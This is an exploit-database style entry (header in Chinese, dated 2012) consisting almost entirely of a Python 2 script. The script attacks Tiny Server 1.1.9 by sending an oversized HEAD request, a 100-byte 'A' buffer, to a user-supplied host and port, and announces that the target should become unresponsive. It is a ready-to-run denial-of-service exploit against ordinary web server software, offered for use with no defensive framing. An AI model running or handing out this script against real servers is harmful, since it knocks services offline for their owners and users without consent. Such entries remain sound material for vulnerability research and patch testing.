发布 2012-03-20 漏洞条目

Tiny Server 1.1.9 – HEAD Denial of Service

Exploit Source

#!/usr/bin/python

###############################################################################

# Overflow exploiting a vulnerability in Tiny Server <=1.1.9 (HTTP) HEAD request.

# Date of Discovery: 3/19/2012 (0 Day)

# Author: Brock Haun

# Vulnerable Software Download: http://tinyserver.sourceforge.net/tinyserver_full.zip

# Software Version: <=1.1.9

# Target OS: Windows (Tested on Windows 7)

###############################################################################

import httplib,sys

if (len(sys.argv) != 3):

print '\n\t[*]Usage: ./' + sys.argv[0] + ' <target host> <port>'

sys.exit()

host = sys.argv[1]

port = sys.argv[2]

buffer = 'A' * 100 + 'HTTP/1.0\r\n'

print '\n[*]*************************************************'

print '[*] Tiny Server <= 1.1.0(HTTP) HEAD request overflow'

print '[*] Written by Brock Haun'

print '[*] security.brockhaun@gmail.com'

print '[*]*************************************************\n'

try:

print '\n\t[*] Attempting connection.'

httpServ = httplib.HTTPConnection(host , port)

httpServ.connect()

print '\n\t[*] Connected.'

print '\n\t[*] Sending crash buffer.'

httpServ.request('HEAD' , buffer)

print '\n\t[*] Done! Target should be unresponsive!'

except:

print '\n\t[***] Connection error. Something went wrong. :('

httpServ.close()

sys.exit()

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